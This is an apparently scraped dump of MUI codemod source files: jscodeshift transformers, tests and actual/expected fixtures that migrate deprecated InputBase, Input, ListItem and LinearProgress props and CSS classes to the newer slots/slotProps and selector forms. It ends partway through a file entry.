    "content": "import InputBase from '@mui/material/InputBase';\n\n<InputBase\n  components={{ Input: ComponentsInput }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<InputBase\n  slots={{ root: SlotsRoot }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<InputBase\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<InputBase\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps, root: componentsRootProps}}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-props/test-cases/expected.js",
    "content": "import InputBase from '@mui/material/InputBase';\n\n<InputBase\n  slots={{\n    input: ComponentsInput\n  }}\n  slotProps={{ input: componentsInputProps }}\n/>;\n<InputBase\n  slots={{\n    root: SlotsRoot,\n    input: ComponentsInput\n  }}\n  slotProps={{\n    root: slotsRootProps,\n    input: componentsInputProps\n  }} />;\n<InputBase\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ root: slotsRootProps, input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  } }} />;\n<InputBase\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  }, root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-props/test-cases/package.actual.js",
    "content": "import InputBase from '@org/ui/material/InputBase';\n\n<InputBase\n  components={{ Input: ComponentsInput }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<InputBase\n  slots={{ root: SlotsRoot }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<InputBase\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<InputBase\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps, root: componentsRootProps}}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-props/test-cases/package.expected.js",
    "content": "import InputBase from '@org/ui/material/InputBase';\n\n<InputBase\n  slots={{\n    input: ComponentsInput\n  }}\n  slotProps={{ input: componentsInputProps }}\n/>;\n<InputBase\n  slots={{\n    root: SlotsRoot,\n    input: ComponentsInput\n  }}\n  slotProps={{\n    root: slotsRootProps,\n    input: componentsInputProps\n  }} />;\n<InputBase\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ root: slotsRootProps, input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  } }} />;\n<InputBase\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  }, root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiInputBase: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      componentsProps: { input: componentsInputProps },\n    },\n  },\n});\n\nfn({\n  MuiInputBase: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot },\n      componentsProps: { input: componentsInputProps },\n      slotProps: { root: slotsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiInputBase: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot, input: SlotsInput },\n      componentsProps: { input: componentsInputProps },\n      slotProps: { root: slotsRootProps, input: slotsInputProps },\n    },\n  },\n});\n\nfn({\n  MuiInputBase: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot, input: SlotsInput },\n      componentsProps: { input: componentsInputProps, root: componentsRootProps },\n      slotProps: { root: slotsRootProps, input: slotsInputProps },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiInputBase: {\n    defaultProps: {\n      slots: {\n        input: ComponentsInput\n      },\n\n      slotProps: {\n        input: componentsInputProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiInputBase: {\n    defaultProps: {\n      slots: {\n        input: ComponentsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: componentsInputProps,\n        root: slotsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiInputBase: {\n    defaultProps: {\n      slots: {\n        input: SlotsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: {\n          ...componentsInputProps,\n          ...slotsInputProps\n        },\n\n        root: slotsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiInputBase: {\n    defaultProps: {\n      slots: {\n        input: SlotsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: {\n          ...componentsInputProps,\n          ...slotsInputProps\n        },\n\n        root: {\n          ...componentsRootProps,\n          ...slotsRootProps\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-props/index.js",
    "content": "export { default } from './input-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-props/input-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, { root, packageName: options.packageName, componentName: 'Input' });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-props/input-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './input-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'input-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-props/test-cases/actual.js",
    "content": "import Input from '@mui/material/Input';\n\n<Input\n  components={{ Input: ComponentsInput }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<Input\n  slots={{ root: SlotsRoot }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<Input\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<Input\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps, root: componentsRootProps}}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-props/test-cases/expected.js",
    "content": "import Input from '@mui/material/Input';\n\n<Input\n  slots={{\n    input: ComponentsInput\n  }}\n  slotProps={{ input: componentsInputProps }}\n/>;\n<Input\n  slots={{\n    root: SlotsRoot,\n    input: ComponentsInput\n  }}\n  slotProps={{\n    root: slotsRootProps,\n    input: componentsInputProps\n  }} />;\n<Input\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ root: slotsRootProps, input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  } }} />;\n<Input\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  }, root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-props/test-cases/package.actual.js",
    "content": "import Input from '@org/ui/material/Input';\n\n<Input\n  components={{ Input: ComponentsInput }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<Input\n  slots={{ root: SlotsRoot }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<Input\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<Input\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps, root: componentsRootProps}}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-props/test-cases/package.expected.js",
    "content": "import Input from '@org/ui/material/Input';\n\n<Input\n  slots={{\n    input: ComponentsInput\n  }}\n  slotProps={{ input: componentsInputProps }}\n/>;\n<Input\n  slots={{\n    root: SlotsRoot,\n    input: ComponentsInput\n  }}\n  slotProps={{\n    root: slotsRootProps,\n    input: componentsInputProps\n  }} />;\n<Input\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ root: slotsRootProps, input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  } }} />;\n<Input\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  }, root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      componentsProps: { input: componentsInputProps },\n    },\n  },\n});\n\nfn({\n  MuiInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot },\n      componentsProps: { input: componentsInputProps },\n      slotProps: { root: slotsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot, input: SlotsInput },\n      componentsProps: { input: componentsInputProps },\n      slotProps: { root: slotsRootProps, input: slotsInputProps },\n    },\n  },\n});\n\nfn({\n  MuiInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot, input: SlotsInput },\n      componentsProps: { input: componentsInputProps, root: componentsRootProps },\n      slotProps: { root: slotsRootProps, input: slotsInputProps },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiInput: {\n    defaultProps: {\n      slots: {\n        input: ComponentsInput\n      },\n\n      slotProps: {\n        input: componentsInputProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiInput: {\n    defaultProps: {\n      slots: {\n        input: ComponentsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: componentsInputProps,\n        root: slotsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiInput: {\n    defaultProps: {\n      slots: {\n        input: SlotsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: {\n          ...componentsInputProps,\n          ...slotsInputProps\n        },\n\n        root: slotsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiInput: {\n    defaultProps: {\n      slots: {\n        input: SlotsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: {\n          ...componentsInputProps,\n          ...slotsInputProps\n        },\n\n        root: {\n          ...componentsRootProps,\n          ...slotsRootProps\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/index.js",
    "content": "export { default } from './linear-progress-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/linear-progress-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/LinearProgress)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (\n            specifier.type === 'ImportSpecifier' &&\n            specifier.imported.name === 'linearProgressClasses'\n          ) {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiLinearProgress-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' > ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`^${replacementSelectorPrefix}${deprecatedClass}`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/linear-progress-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './linear-progress-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('linear-progress-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'single', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'single', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiLinearProgress-bar1Buffer',\n    replacementSelector: '.MuiLinearProgress-buffer > .MuiLinearProgress-bar1',\n  },\n  {\n    deprecatedClass: ' .MuiLinearProgress-bar1Determinate',\n    replacementSelector: '.MuiLinearProgress-determinate > .MuiLinearProgress-bar1',\n  },\n  {\n    deprecatedClass: ' .MuiLinearProgress-bar1Indeterminate',\n    replacementSelector: '.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar1',\n  },\n  {\n    deprecatedClass: ' .MuiLinearProgress-bar2Buffer',\n    replacementSelector: '.MuiLinearProgress-buffer > .MuiLinearProgress-bar2',\n  },\n  {\n    deprecatedClass: ' .MuiLinearProgress-bar2Indeterminate',\n    replacementSelector: '.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar2',\n  },\n  {\n    deprecatedClass: ' .MuiLinearProgress-barColorPrimary',\n    replacementSelector: '.MuiLinearProgress-colorPrimary > .MuiLinearProgress-bar',\n  },\n  {\n    deprecatedClass: ' .MuiLinearProgress-barColorSecondary',\n    replacementSelector: '.MuiLinearProgress-colorSecondary > .MuiLinearProgress-bar',\n  },\n  {\n    deprecatedClass: ' .MuiLinearProgress-dashedColorPrimary',\n    replacementSelector: '.MuiLinearProgress-colorPrimary > .MuiLinearProgress-dashed',\n  },\n  {\n    deprecatedClass: ' .MuiLinearProgress-dashedColorSecondary',\n    replacementSelector: '.MuiLinearProgress-colorSecondary > .MuiLinearProgress-dashed',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated LinearProgress classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/test-cases/actual.css",
    "content": ".MuiLinearProgress-root .MuiLinearProgress-bar1Buffer {\n  color: red;\n}\n\n.MuiLinearProgress-root .MuiLinearProgress-bar1Determinate {\n  color: red;\n}\n\n.MuiLinearProgress-root .MuiLinearProgress-bar1Indeterminate {\n  color: red;\n}\n\n.MuiLinearProgress-root .MuiLinearProgress-bar2Buffer {\n  color: red;\n}\n\n.MuiLinearProgress-root .MuiLinearProgress-bar2Indeterminate {\n  color: red;\n}\n\n.MuiLinearProgress-root .MuiLinearProgress-barColorPrimary {\n  color: red;\n}\n\n.MuiLinearProgress-root .MuiLinearProgress-barColorSecondary {\n  color: red;\n}\n\n.MuiLinearProgress-root .MuiLinearProgress-dashedColorPrimary {\n  color: red;\n}\n\n.MuiLinearProgress-root .MuiLinearProgress-dashedColorSecondary {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/test-cases/actual.js",
    "content": "import { linearProgressClasses } from '@mui/material/LinearProgress';\n\n('& .MuiLinearProgress-bar1Buffer');\n('& .MuiLinearProgress-bar1Determinate');\n('& .MuiLinearProgress-bar1Indeterminate');\n('& .MuiLinearProgress-bar2Buffer');\n('& .MuiLinearProgress-bar2Indeterminate');\n('& .MuiLinearProgress-barColorPrimary');\n('& .MuiLinearProgress-barColorSecondary');\n('& .MuiLinearProgress-dashedColorPrimary');\n('& .MuiLinearProgress-dashedColorSecondary');\n`& .${linearProgressClasses.bar1Buffer}`;\n`& .${linearProgressClasses.bar1Determinate}`;\n`& .${linearProgressClasses.bar1Indeterminate}`;\n`& .${linearProgressClasses.bar2Buffer}`;\n`& .${linearProgressClasses.bar2Indeterminate}`;\n`& .${linearProgressClasses.barColorPrimary}`;\n`& .${linearProgressClasses.barColorSecondary}`;\n`& .${linearProgressClasses.dashedColorPrimary}`;\n`& .${linearProgressClasses.dashedColorSecondary}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/test-cases/expected.css",
    "content": ".MuiLinearProgress-root.MuiLinearProgress-buffer > .MuiLinearProgress-bar1 {\n  color: red;\n}\n\n.MuiLinearProgress-root.MuiLinearProgress-determinate > .MuiLinearProgress-bar1 {\n  color: red;\n}\n\n.MuiLinearProgress-root.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar1 {\n  color: red;\n}\n\n.MuiLinearProgress-root.MuiLinearProgress-buffer > .MuiLinearProgress-bar2 {\n  color: red;\n}\n\n.MuiLinearProgress-root.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar2 {\n  color: red;\n}\n\n.MuiLinearProgress-root.MuiLinearProgress-colorPrimary > .MuiLinearProgress-bar {\n  color: red;\n}\n\n.MuiLinearProgress-root.MuiLinearProgress-colorSecondary > .MuiLinearProgress-bar {\n  color: red;\n}\n\n.MuiLinearProgress-root.MuiLinearProgress-colorPrimary > .MuiLinearProgress-dashed {\n  color: red;\n}\n\n.MuiLinearProgress-root.MuiLinearProgress-colorSecondary > .MuiLinearProgress-dashed {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/test-cases/expected.js",
    "content": "import { linearProgressClasses } from '@mui/material/LinearProgress';\n\n('&.MuiLinearProgress-buffer > .MuiLinearProgress-bar1');\n('&.MuiLinearProgress-determinate > .MuiLinearProgress-bar1');\n('&.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar1');\n('&.MuiLinearProgress-buffer > .MuiLinearProgress-bar2');\n('&.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar2');\n('&.MuiLinearProgress-colorPrimary > .MuiLinearProgress-bar');\n('&.MuiLinearProgress-colorSecondary > .MuiLinearProgress-bar');\n('&.MuiLinearProgress-colorPrimary > .MuiLinearProgress-dashed');\n('&.MuiLinearProgress-colorSecondary > .MuiLinearProgress-dashed');\n`&.${linearProgressClasses.buffer} > .${linearProgressClasses.bar1}`;\n`&.${linearProgressClasses.determinate} > .${linearProgressClasses.bar1}`;\n`&.${linearProgressClasses.indeterminate} > .${linearProgressClasses.bar1}`;\n`&.${linearProgressClasses.buffer} > .${linearProgressClasses.bar2}`;\n`&.${linearProgressClasses.indeterminate} > .${linearProgressClasses.bar2}`;\n`&.${linearProgressClasses.colorPrimary} > .${linearProgressClasses.bar}`;\n`&.${linearProgressClasses.colorSecondary} > .${linearProgressClasses.bar}`;\n`&.${linearProgressClasses.colorPrimary} > .${linearProgressClasses.dashed}`;\n`&.${linearProgressClasses.colorSecondary} > .${linearProgressClasses.dashed}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/test-cases/package.actual.js",
    "content": "import { linearProgressClasses } from '@org/ui/material/LinearProgress';\n\n('& .MuiLinearProgress-bar1Buffer');\n('& .MuiLinearProgress-bar1Determinate');\n('& .MuiLinearProgress-bar1Indeterminate');\n('& .MuiLinearProgress-bar2Buffer');\n('& .MuiLinearProgress-bar2Indeterminate');\n('& .MuiLinearProgress-barColorPrimary');\n('& .MuiLinearProgress-barColorSecondary');\n('& .MuiLinearProgress-dashedColorPrimary');\n('& .MuiLinearProgress-dashedColorSecondary');\n`& .${linearProgressClasses.bar1Buffer}`;\n`& .${linearProgressClasses.bar1Determinate}`;\n`& .${linearProgressClasses.bar1Indeterminate}`;\n`& .${linearProgressClasses.bar2Buffer}`;\n`& .${linearProgressClasses.bar2Indeterminate}`;\n`& .${linearProgressClasses.barColorPrimary}`;\n`& .${linearProgressClasses.barColorSecondary}`;\n`& .${linearProgressClasses.dashedColorPrimary}`;\n`& .${linearProgressClasses.dashedColorSecondary}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/linear-progress-classes/test-cases/package.expected.js",
    "content": "import { linearProgressClasses } from '@org/ui/material/LinearProgress';\n\n('&.MuiLinearProgress-buffer > .MuiLinearProgress-bar1');\n('&.MuiLinearProgress-determinate > .MuiLinearProgress-bar1');\n('&.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar1');\n('&.MuiLinearProgress-buffer > .MuiLinearProgress-bar2');\n('&.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar2');\n('&.MuiLinearProgress-colorPrimary > .MuiLinearProgress-bar');\n('&.MuiLinearProgress-colorSecondary > .MuiLinearProgress-bar');\n('&.MuiLinearProgress-colorPrimary > .MuiLinearProgress-dashed');\n('&.MuiLinearProgress-colorSecondary > .MuiLinearProgress-dashed');\n`&.${linearProgressClasses.buffer} > .${linearProgressClasses.bar1}`;\n`&.${linearProgressClasses.determinate} > .${linearProgressClasses.bar1}`;\n`&.${linearProgressClasses.indeterminate} > .${linearProgressClasses.bar1}`;\n`&.${linearProgressClasses.buffer} > .${linearProgressClasses.bar2}`;\n`&.${linearProgressClasses.indeterminate} > .${linearProgressClasses.bar2}`;\n`&.${linearProgressClasses.colorPrimary} > .${linearProgressClasses.bar}`;\n`&.${linearProgressClasses.colorSecondary} > .${linearProgressClasses.bar}`;\n`&.${linearProgressClasses.colorPrimary} > .${linearProgressClasses.dashed}`;\n`&.${linearProgressClasses.colorSecondary} > .${linearProgressClasses.dashed}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-props/index.js",
    "content": "export { default } from './list-item-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-props/list-item-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\nimport movePropIntoSlots from '../utils/movePropIntoSlots';\nimport replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'ListItem',\n  });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'ListItem',\n    propName: 'ContainerComponent',\n    slotName: 'root',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'ListItem',\n    propName: 'ContainerProps',\n    slotName: 'root',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-props/list-item-props.test.js",
